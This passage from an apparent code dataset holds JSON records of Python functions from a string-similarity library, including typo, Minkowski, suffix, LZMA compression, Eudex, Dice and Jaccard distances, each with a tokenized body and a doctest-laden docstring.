cmp.dist_abs('Colin', 'Cuilen', metric='manhattan')\n        3.5\n        >>> cmp.dist_abs('ATCG', 'TAGC', metric='manhattan')\n        2.5\n\n        >>> cmp.dist_abs('cat', 'hat', metric='log-manhattan')\n        0.804719\n        >>> cmp.dist_abs('Niall', 'Neil', metric='log-manhattan')\n        2.2424533\n        >>> cmp.dist_abs('Colin', 'Cuilen', metric='log-manhattan')\n        2.2424533\n        >>> cmp.dist_abs('ATCG', 'TAGC', metric='log-manhattan')\n        2.3465736", "id": "f6650:c0:m0"}
{"signature": "def dist(<EOL>self,<EOL>src,<EOL>tar,<EOL>metric='<STR_LIT>',<EOL>cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0.5>),<EOL>layout='<STR_LIT>',<EOL>):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>ins_cost, del_cost = cost[:<NUM_LIT:2>]<EOL>return self.dist_abs(src, tar, metric, cost, layout) / (<EOL>max(len(src) * del_cost, len(tar) * ins_cost)<EOL>)<EOL>", "docstring": "Return the normalized typo distance between two strings.\n\n        This is typo distance, normalized to [0, 1].\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        metric : str\n            Supported values include: ``euclidean``, ``manhattan``,\n            ``log-euclidean``, and ``log-manhattan``\n        cost : tuple\n            A 4-tuple representing the cost of the four possible edits:\n            inserts, deletes, substitutions, and shift, respectively (by\n            default: (1, 1, 0.5, 0.5)) The substitution & shift costs should be\n            significantly less than the cost of an insertion & deletion unless\n            a log metric is used.\n        layout : str\n            Name of the keyboard layout to use (Currently supported:\n            ``QWERTY``, ``Dvorak``, ``AZERTY``, ``QWERTZ``)\n\n        Returns\n        -------\n        float\n            Normalized typo distance\n\n        Examples\n        --------\n        >>> cmp = Typo()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.527046283086\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.565028142929\n        >>> round(cmp.dist('Colin', 'Cuilen'), 12)\n        0.569035609563\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.625", "id": "f6650:c0:m1"}
{"signature": "def _get_qgrams(self, src, tar, qval=<NUM_LIT:0>, skip=<NUM_LIT:0>):", "body": "if isinstance(src, Counter) and isinstance(tar, Counter):<EOL><INDENT>return src, tar<EOL><DEDENT>if qval > <NUM_LIT:0>:<EOL><INDENT>return QGrams(src, qval, '<STR_LIT>', skip), QGrams(tar, qval, '<STR_LIT>', skip)<EOL><DEDENT>return Counter(src.strip().split()), Counter(tar.strip().split())<EOL>", "docstring": "Return the Q-Grams in src & tar.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        skip : int\n            The number of characters to skip (only works when src and tar are\n            strings)\n\n        Returns\n        -------\n        tuple of Counters\n            Q-Grams\n\n        Examples\n        --------\n        >>> pe = _TokenDistance()\n        >>> pe._get_qgrams('AT', 'TT', qval=2)\n        (QGrams({'$A': 1, 'AT': 1, 'T#': 1}),\n         QGrams({'$T': 1, 'TT': 1, 'T#': 1}))", "id": "f6651:c0:m0"}
{"signature": "def minkowski(src, tar, qval=<NUM_LIT:2>, pval=<NUM_LIT:1>, normalized=False, alphabet=None):", "body": "return Minkowski().dist_abs(src, tar, qval, pval, normalized, alphabet)<EOL>", "docstring": "Return the Minkowski distance (:math:`L^p`-norm) of two strings.\n\n    This is a wrapper for :py:meth:`Minkowski.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    pval : int or float\n        The :math:`p`-value of the :math:`L^p`-space\n    normalized : bool\n        Normalizes to [0, 1] if True\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The Minkowski distance\n\n    Examples\n    --------\n    >>> minkowski('cat', 'hat')\n    4.0\n    >>> minkowski('Niall', 'Neil')\n    7.0\n    >>> minkowski('Colin', 'Cuilen')\n    9.0\n    >>> minkowski('ATCG', 'TAGC')\n    10.0", "id": "f6652:m0"}
{"signature": "def dist_minkowski(src, tar, qval=<NUM_LIT:2>, pval=<NUM_LIT:1>, alphabet=None):", "body": "return Minkowski().dist(src, tar, qval, pval, alphabet)<EOL>", "docstring": "Return normalized Minkowski distance of two strings.\n\n    This is a wrapper for :py:meth:`Minkowski.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    pval : int or float\n        The :math:`p`-value of the :math:`L^p`-space\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The normalized Minkowski distance\n\n    Examples\n    --------\n    >>> dist_minkowski('cat', 'hat')\n    0.5\n    >>> round(dist_minkowski('Niall', 'Neil'), 12)\n    0.636363636364\n    >>> round(dist_minkowski('Colin', 'Cuilen'), 12)\n    0.692307692308\n    >>> dist_minkowski('ATCG', 'TAGC')\n    1.0", "id": "f6652:m1"}
{"signature": "def sim_minkowski(src, tar, qval=<NUM_LIT:2>, pval=<NUM_LIT:1>, alphabet=None):", "body": "return Minkowski().sim(src, tar, qval, pval, alphabet)<EOL>", "docstring": "Return normalized Minkowski similarity of two strings.\n\n    This is a wrapper for :py:meth:`Minkowski.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    pval : int or float\n        The :math:`p`-value of the :math:`L^p`-space\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The normalized Minkowski similarity\n\n    Examples\n    --------\n    >>> sim_minkowski('cat', 'hat')\n    0.5\n    >>> round(sim_minkowski('Niall', 'Neil'), 12)\n    0.363636363636\n    >>> round(sim_minkowski('Colin', 'Cuilen'), 12)\n    0.307692307692\n    >>> sim_minkowski('ATCG', 'TAGC')\n    0.0", "id": "f6652:m2"}
{"signature": "def dist_abs(<EOL>self, src, tar, qval=<NUM_LIT:2>, pval=<NUM_LIT:1>, normalized=False, alphabet=None<EOL>):", "body": "q_src, q_tar = self._get_qgrams(src, tar, qval)<EOL>diffs = ((q_src - q_tar) + (q_tar - q_src)).values()<EOL>normalizer = <NUM_LIT:1><EOL>if normalized:<EOL><INDENT>totals = (q_src + q_tar).values()<EOL>if alphabet is not None:<EOL><INDENT>normalizer = (<EOL>alphabet if isinstance(alphabet, Number) else len(alphabet)<EOL>)<EOL><DEDENT>elif pval == <NUM_LIT:0>:<EOL><INDENT>normalizer = len(totals)<EOL><DEDENT>else:<EOL><INDENT>normalizer = sum(_ ** pval for _ in totals) ** (<NUM_LIT:1> / pval)<EOL><DEDENT><DEDENT>if len(diffs) == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if pval == float('<STR_LIT>'):<EOL><INDENT>return max(diffs) / normalizer<EOL><DEDENT>if pval == <NUM_LIT:0>:<EOL><INDENT>return len(diffs) / normalizer<EOL><DEDENT>return sum(_ ** pval for _ in diffs) ** (<NUM_LIT:1> / pval) / normalizer<EOL>", "docstring": "Return the Minkowski distance (:math:`L^p`-norm) of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        pval : int or float\n            The :math:`p`-value of the :math:`L^p`-space\n        normalized : bool\n            Normalizes to [0, 1] if True\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The Minkowski distance\n\n        Examples\n        --------\n        >>> cmp = Minkowski()\n        >>> cmp.dist_abs('cat', 'hat')\n        4.0\n        >>> cmp.dist_abs('Niall', 'Neil')\n        7.0\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        9.0\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        10.0", "id": "f6652:c0:m0"}
{"signature": "def dist(self, src, tar, qval=<NUM_LIT:2>, pval=<NUM_LIT:1>, alphabet=None):", "body": "return self.dist_abs(src, tar, qval, pval, True, alphabet)<EOL>", "docstring": "Return normalized Minkowski distance of two strings.\n\n        The normalized Minkowski distance :cite:`Minkowski:1910` is a distance\n        metric in :math:`L^p`-space, normalized to [0, 1].\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        pval : int or float\n            The :math:`p`-value of the :math:`L^p`-space\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The normalized Minkowski distance\n\n        Examples\n        --------\n        >>> cmp = Minkowski()\n        >>> cmp.dist('cat', 'hat')\n        0.5\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.636363636364\n        >>> round(cmp.dist('Colin', 'Cuilen'), 12)\n        0.692307692308\n        >>> cmp.dist('ATCG', 'TAGC')\n        1.0", "id": "f6652:c0:m1"}
{"signature": "def sim_suffix(src, tar):", "body": "return Suffix().sim(src, tar)<EOL>", "docstring": "Return the suffix similarity of two strings.\n\n    This is a wrapper for :py:meth:`Suffix.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Suffix similarity\n\n    Examples\n    --------\n    >>> sim_suffix('cat', 'hat')\n    0.6666666666666666\n    >>> sim_suffix('Niall', 'Neil')\n    0.25\n    >>> sim_suffix('aluminum', 'Catalan')\n    0.0\n    >>> sim_suffix('ATCG', 'TAGC')\n    0.0", "id": "f6653:m0"}
{"signature": "def dist_suffix(src, tar):", "body": "return Suffix().dist(src, tar)<EOL>", "docstring": "Return the suffix distance between two strings.\n\n    This is a wrapper for :py:meth:`Suffix.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Suffix distance\n\n    Examples\n    --------\n    >>> dist_suffix('cat', 'hat')\n    0.33333333333333337\n    >>> dist_suffix('Niall', 'Neil')\n    0.75\n    >>> dist_suffix('aluminum', 'Catalan')\n    1.0\n    >>> dist_suffix('ATCG', 'TAGC')\n    1.0", "id": "f6653:m1"}
{"signature": "def sim(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>min_word, max_word = (src, tar) if len(src) < len(tar) else (tar, src)<EOL>min_len = len(min_word)<EOL>for i in range(min_len, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if min_word[-i:] == max_word[-i:]:<EOL><INDENT>return i / min_len<EOL><DEDENT><DEDENT>return <NUM_LIT:0.0><EOL>", "docstring": "Return the suffix similarity of two strings.\n\n        Suffix similarity is the ratio of the length of the shorter term that\n        exactly matches the longer term to the length of the shorter term,\n        beginning at the end of both terms.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Suffix similarity\n\n        Examples\n        --------\n        >>> cmp = Suffix()\n        >>> cmp.sim('cat', 'hat')\n        0.6666666666666666\n        >>> cmp.sim('Niall', 'Neil')\n        0.25\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.0\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6653:c0:m0"}
{"signature": "def sim(self, src, tar, *args, **kwargs):", "body": "return <NUM_LIT:1.0> - self.dist(src, tar, *args, **kwargs)<EOL>", "docstring": "Return similarity.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        *args\n            Variable length argument list.\n        **kwargs\n            Arbitrary keyword arguments.\n\n        Returns\n        -------\n        float\n            Similarity", "id": "f6654:c0:m0"}
{"signature": "def dist(self, src, tar, *args, **kwargs):", "body": "return <NUM_LIT:1.0> - self.sim(src, tar, *args, **kwargs)<EOL>", "docstring": "Return distance.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        *args\n            Variable length argument list.\n        **kwargs\n            Arbitrary keyword arguments.\n\n        Returns\n        -------\n        float\n            Distance", "id": "f6654:c0:m1"}
{"signature": "def dist_abs(self, src, tar, *args, **kwargs):", "body": "return self.dist(src, tar, *args, **kwargs)<EOL>", "docstring": "Return absolute distance.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        *args\n            Variable length argument list.\n        **kwargs\n            Arbitrary keyword arguments.\n\n        Returns\n        -------\n        int\n            Absolute distance", "id": "f6654:c0:m2"}
{"signature": "def dist_ncd_lzma(src, tar):", "body": "return NCDlzma().dist(src, tar)<EOL>", "docstring": "Return the NCD between two strings using LZMA compression.\n\n    This is a wrapper for :py:meth:`NCDlzma.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression distance\n\n    Examples\n    --------\n    >>> dist_ncd_lzma('cat', 'hat')\n    0.08695652173913043\n    >>> dist_ncd_lzma('Niall', 'Neil')\n    0.16\n    >>> dist_ncd_lzma('aluminum', 'Catalan')\n    0.16\n    >>> dist_ncd_lzma('ATCG', 'TAGC')\n    0.08695652173913043", "id": "f6655:m0"}
{"signature": "def sim_ncd_lzma(src, tar):", "body": "return NCDlzma().sim(src, tar)<EOL>", "docstring": "Return the NCD similarity between two strings using LZMA compression.\n\n    This is a wrapper for :py:meth:`NCDlzma.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression similarity\n\n    Examples\n    --------\n    >>> sim_ncd_lzma('cat', 'hat')\n    0.9130434782608696\n    >>> sim_ncd_lzma('Niall', 'Neil')\n    0.84\n    >>> sim_ncd_lzma('aluminum', 'Catalan')\n    0.84\n    >>> sim_ncd_lzma('ATCG', 'TAGC')\n    0.9130434782608696", "id": "f6655:m1"}
{"signature": "def dist(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>src = src.encode('<STR_LIT:utf-8>')<EOL>tar = tar.encode('<STR_LIT:utf-8>')<EOL>if lzma is not None:<EOL><INDENT>src_comp = lzma.compress(src)[<NUM_LIT>:]<EOL>tar_comp = lzma.compress(tar)[<NUM_LIT>:]<EOL>concat_comp = lzma.compress(src + tar)[<NUM_LIT>:]<EOL>concat_comp2 = lzma.compress(tar + src)[<NUM_LIT>:]<EOL><DEDENT>else:  <EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>return (<EOL>min(len(concat_comp), len(concat_comp2))<EOL>- min(len(src_comp), len(tar_comp))<EOL>) / max(len(src_comp), len(tar_comp))<EOL>", "docstring": "Return the NCD between two strings using LZMA compression.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Compression distance\n\n        Raises\n        ------\n        ValueError\n            Install the PylibLZMA module in order to use LZMA\n\n        Examples\n        --------\n        >>> cmp = NCDlzma()\n        >>> cmp.dist('cat', 'hat')\n        0.08695652173913043\n        >>> cmp.dist('Niall', 'Neil')\n        0.16\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.16\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.08695652173913043", "id": "f6655:c0:m0"}
{"signature": "def eudex_hamming(<EOL>src, tar, weights='<STR_LIT>', max_length=<NUM_LIT:8>, normalized=False<EOL>):", "body": "return Eudex().dist_abs(src, tar, weights, max_length, normalized)<EOL>", "docstring": "Calculate the Hamming distance between the Eudex hashes of two terms.\n\n    This is a wrapper for :py:meth:`Eudex.eudex_hamming`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    weights : str, iterable, or generator function\n        The weights or weights generator function\n    max_length : int\n        The number of characters to encode as a eudex hash\n    normalized : bool\n        Normalizes to [0, 1] if True\n\n    Returns\n    -------\n    int\n        The Eudex Hamming distance\n\n    Examples\n    --------\n    >>> eudex_hamming('cat', 'hat')\n    128\n    >>> eudex_hamming('Niall', 'Neil')\n    2\n    >>> eudex_hamming('Colin', 'Cuilen')\n    10\n    >>> eudex_hamming('ATCG', 'TAGC')\n    403\n\n    >>> eudex_hamming('cat', 'hat', weights='fibonacci')\n    34\n    >>> eudex_hamming('Niall', 'Neil', weights='fibonacci')\n    2\n    >>> eudex_hamming('Colin', 'Cuilen', weights='fibonacci')\n    7\n    >>> eudex_hamming('ATCG', 'TAGC', weights='fibonacci')\n    117\n\n    >>> eudex_hamming('cat', 'hat', weights=None)\n    1\n    >>> eudex_hamming('Niall', 'Neil', weights=None)\n    1\n    >>> eudex_hamming('Colin', 'Cuilen', weights=None)\n    2\n    >>> eudex_hamming('ATCG', 'TAGC', weights=None)\n    9\n\n    >>> # Using the OEIS A000142:\n    >>> eudex_hamming('cat', 'hat', [1, 1, 2, 6, 24, 120, 720, 5040])\n    1\n    >>> eudex_hamming('Niall', 'Neil', [1, 1, 2, 6, 24, 120, 720, 5040])\n    720\n    >>> eudex_hamming('Colin', 'Cuilen', [1, 1, 2, 6, 24, 120, 720, 5040])\n    744\n    >>> eudex_hamming('ATCG', 'TAGC', [1, 1, 2, 6, 24, 120, 720, 5040])\n    6243", "id": "f6656:m0"}
{"signature": "def dist_eudex(src, tar, weights='<STR_LIT>', max_length=<NUM_LIT:8>):", "body": "return Eudex().dist(src, tar, weights, max_length)<EOL>", "docstring": "Return normalized Hamming distance between Eudex hashes of two terms.\n\n    This is a wrapper for :py:meth:`Eudex.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    weights : str, iterable, or generator function\n        The weights or weights generator function\n    max_length : int\n        The number of characters to encode as a eudex hash\n\n    Returns\n    -------\n    int\n        The normalized Eudex Hamming distance\n\n    Examples\n    --------\n    >>> round(dist_eudex('cat', 'hat'), 12)\n    0.062745098039\n    >>> round(dist_eudex('Niall', 'Neil'), 12)\n    0.000980392157\n    >>> round(dist_eudex('Colin', 'Cuilen'), 12)\n    0.004901960784\n    >>> round(dist_eudex('ATCG', 'TAGC'), 12)\n    0.197549019608", "id": "f6656:m1"}
{"signature": "def sim_eudex(src, tar, weights='<STR_LIT>', max_length=<NUM_LIT:8>):", "body": "return Eudex().sim(src, tar, weights, max_length)<EOL>", "docstring": "Return normalized Hamming similarity between Eudex hashes of two terms.\n\n    This is a wrapper for :py:meth:`Eudex.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    weights : str, iterable, or generator function\n        The weights or weights generator function\n    max_length : int\n        The number of characters to encode as a eudex hash\n\n    Returns\n    -------\n    int\n        The normalized Eudex Hamming similarity\n\n    Examples\n    --------\n    >>> round(sim_eudex('cat', 'hat'), 12)\n    0.937254901961\n    >>> round(sim_eudex('Niall', 'Neil'), 12)\n    0.999019607843\n    >>> round(sim_eudex('Colin', 'Cuilen'), 12)\n    0.995098039216\n    >>> round(sim_eudex('ATCG', 'TAGC'), 12)\n    0.802450980392", "id": "f6656:m2"}
{"signature": "@staticmethod<EOL><INDENT>def gen_fibonacci():<DEDENT>", "body": "num_a, num_b = <NUM_LIT:1>, <NUM_LIT:2><EOL>while True:<EOL><INDENT>yield num_a<EOL>num_a, num_b = num_b, num_a + num_b<EOL><DEDENT>", "docstring": "Yield the next Fibonacci number.\n\n        Based on https://www.python-course.eu/generators.php\n        Starts at Fibonacci number 3 (the second 1)\n\n        Yields\n        ------\n        int\n            The next Fibonacci number", "id": "f6656:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def gen_exponential(base=<NUM_LIT:2>):<DEDENT>", "body": "exp = <NUM_LIT:0><EOL>while True:<EOL><INDENT>yield base ** exp<EOL>exp += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Yield the next value in an exponential series of the base.\n\n        Starts at base**0\n\n        Parameters\n        ----------\n        base : int\n            The base to exponentiate\n\n        Yields\n        ------\n        int\n            The next power of `base`", "id": "f6656:c0:m1"}
{"signature": "def dist_abs(<EOL>self, src, tar, weights='<STR_LIT>', max_length=<NUM_LIT:8>, normalized=False<EOL>):", "body": "<EOL>xored = eudex(src, max_length=max_length) ^ eudex(<EOL>tar, max_length=max_length<EOL>)<EOL>if not weights:<EOL><INDENT>binary = bin(xored)<EOL>distance = binary.count('<STR_LIT:1>')<EOL>if normalized:<EOL><INDENT>return distance / (len(binary) - <NUM_LIT:2>)<EOL><DEDENT>return distance<EOL><DEDENT>if callable(weights):<EOL><INDENT>weights = weights()<EOL><DEDENT>elif weights == '<STR_LIT>':<EOL><INDENT>weights = Eudex.gen_exponential()<EOL><DEDENT>elif weights == '<STR_LIT>':<EOL><INDENT>weights = Eudex.gen_fibonacci()<EOL><DEDENT>if isinstance(weights, GeneratorType):<EOL><INDENT>weights = [next(weights) for _ in range(max_length)][::-<NUM_LIT:1>]<EOL><DEDENT>distance = <NUM_LIT:0><EOL>max_distance = <NUM_LIT:0><EOL>while (xored or normalized) and weights:<EOL><INDENT>max_distance += <NUM_LIT:8> * weights[-<NUM_LIT:1>]<EOL>distance += bin(xored & <NUM_LIT>).count('<STR_LIT:1>') * weights.pop()<EOL>xored >>= <NUM_LIT:8><EOL><DEDENT>if normalized:<EOL><INDENT>distance /= max_distance<EOL><DEDENT>return distance<EOL>", "docstring": "Calculate the distance between the Eudex hashes of two terms.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        weights : str, iterable, or generator function\n            The weights or weights generator function\n\n                - If set to ``None``, a simple Hamming distance is calculated.\n                - If set to ``exponential``, weight decays by powers of 2, as\n                  proposed in the eudex specification:\n                  https://github.com/ticki/eudex.\n                - If set to ``fibonacci``, weight decays through the Fibonacci\n                  series, as in the eudex reference implementation.\n                - If set to a callable function, this assumes it creates a\n                  generator and the generator is used to populate a series of\n                  weights.\n                - If set to an iterable, the iterable's values should be\n                  integers and will be used as the weights.\n\n        max_length : int\n            The number of characters to encode as a eudex hash\n        normalized : bool\n            Normalizes to [0, 1] if True\n\n        Returns\n        -------\n        int\n            The Eudex Hamming distance\n\n        Examples\n        --------\n        >>> cmp = Eudex()\n        >>> cmp.dist_abs('cat', 'hat')\n        128\n        >>> cmp.dist_abs('Niall', 'Neil')\n        2\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        10\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        403\n\n        >>> cmp.dist_abs('cat', 'hat', weights='fibonacci')\n        34\n        >>> cmp.dist_abs('Niall', 'Neil', weights='fibonacci')\n        2\n        >>> cmp.dist_abs('Colin', 'Cuilen', weights='fibonacci')\n        7\n        >>> cmp.dist_abs('ATCG', 'TAGC', weights='fibonacci')\n        117\n\n        >>> cmp.dist_abs('cat', 'hat', weights=None)\n        1\n        >>> cmp.dist_abs('Niall', 'Neil', weights=None)\n        1\n        >>> cmp.dist_abs('Colin', 'Cuilen', weights=None)\n        2\n        >>> cmp.dist_abs('ATCG', 'TAGC', weights=None)\n        9\n\n        >>> # Using the OEIS A000142:\n        >>> cmp.dist_abs('cat', 'hat', [1, 1, 2, 6, 24, 120, 720, 5040])\n        1\n        >>> cmp.dist_abs('Niall', 'Neil', [1, 1, 2, 6, 24, 120, 720, 5040])\n        720\n        >>> cmp.dist_abs('Colin', 'Cuilen',\n        ... [1, 1, 2, 6, 24, 120, 720, 5040])\n        744\n        >>> cmp.dist_abs('ATCG', 'TAGC', [1, 1, 2, 6, 24, 120, 720, 5040])\n        6243", "id": "f6656:c0:m2"}
{"signature": "def dist(self, src, tar, weights='<STR_LIT>', max_length=<NUM_LIT:8>):", "body": "return self.dist_abs(src, tar, weights, max_length, True)<EOL>", "docstring": "Return normalized distance between the Eudex hashes of two terms.\n\n        This is Eudex distance normalized to [0, 1].\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        weights : str, iterable, or generator function\n            The weights or weights generator function\n        max_length : int\n            The number of characters to encode as a eudex hash\n\n        Returns\n        -------\n        int\n            The normalized Eudex Hamming distance\n\n        Examples\n        --------\n        >>> cmp = Eudex()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.062745098039\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.000980392157\n        >>> round(cmp.dist('Colin', 'Cuilen'), 12)\n        0.004901960784\n        >>> round(cmp.dist('ATCG', 'TAGC'), 12)\n        0.197549019608", "id": "f6656:c0:m3"}
{"signature": "def sim_dice(src, tar, qval=<NUM_LIT:2>):", "body": "return Dice().sim(src, tar, qval)<EOL>", "docstring": "Return the S\u00f8rensen\u2013Dice coefficient of two strings.\n\n    This is a wrapper for :py:meth:`Dice.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        S\u00f8rensen\u2013Dice similarity\n\n    Examples\n    --------\n    >>> sim_dice('cat', 'hat')\n    0.5\n    >>> sim_dice('Niall', 'Neil')\n    0.36363636363636365\n    >>> sim_dice('aluminum', 'Catalan')\n    0.11764705882352941\n    >>> sim_dice('ATCG', 'TAGC')\n    0.0", "id": "f6657:m0"}
{"signature": "def dist_dice(src, tar, qval=<NUM_LIT:2>):", "body": "return Dice().dist(src, tar, qval)<EOL>", "docstring": "Return the S\u00f8rensen\u2013Dice distance between two strings.\n\n    This is a wrapper for :py:meth:`Dice.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        S\u00f8rensen\u2013Dice distance\n\n    Examples\n    --------\n    >>> dist_dice('cat', 'hat')\n    0.5\n    >>> dist_dice('Niall', 'Neil')\n    0.6363636363636364\n    >>> dist_dice('aluminum', 'Catalan')\n    0.8823529411764706\n    >>> dist_dice('ATCG', 'TAGC')\n    1.0", "id": "f6657:m1"}
{"signature": "def sim(self, src, tar, qval=<NUM_LIT:2>):", "body": "return super(self.__class__, self).sim(src, tar, qval, <NUM_LIT:0.5>, <NUM_LIT:0.5>)<EOL>", "docstring": "Return the S\u00f8rensen\u2013Dice coefficient of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n\n        Returns\n        -------\n        float\n            S\u00f8rensen\u2013Dice similarity\n\n        Examples\n        --------\n        >>> cmp = Dice()\n        >>> cmp.sim('cat', 'hat')\n        0.5\n        >>> cmp.sim('Niall', 'Neil')\n        0.36363636363636365\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.11764705882352941\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6657:c0:m0"}
{"signature": "def sim_jaccard(src, tar, qval=<NUM_LIT:2>):", "body": "return Jaccard().sim(src, tar, qval)<EOL>", "docstring": "Return the Jaccard similarity of two strings.\n\n    This is a wrapper for :py:meth:`Jaccard.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Jaccard similarity\n\n    Examples\n    --------\n    >>> sim_jaccard('cat', 'hat')\n    0.3333333333333333\n    >>> sim_jaccard('Niall', 'Neil')\n    0.2222222222222222\n    >>> sim_jaccard('aluminum', 'Catalan')\n    0.0625\n    >>> sim_jaccard('ATCG', 'TAGC')\n    0.0", "id": "f6658:m0"}
{"signature": "def dist_jaccard(src, tar, qval=<NUM_LIT:2>):", "body": "return Jaccard().dist(src, tar, qval)<EOL>", "docstring": "Return the Jaccard distance between two strings.\n\n    This is a wrapper for :py:meth:`Jaccard.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Jaccard distance\n\n    Examples\n    --------\n    >>> dist_jaccard('cat', 'hat')\n    0.6666666666666667\n    >>> dist_jaccard('Niall', 'Neil')\n    0.7777777777777778\n    >>> dist_jaccard('aluminum', 'Catalan')\n    0.9375\n    >>> dist_jaccard('ATCG', 'TAGC')\n    1.0", "id": "f6658:m1"}
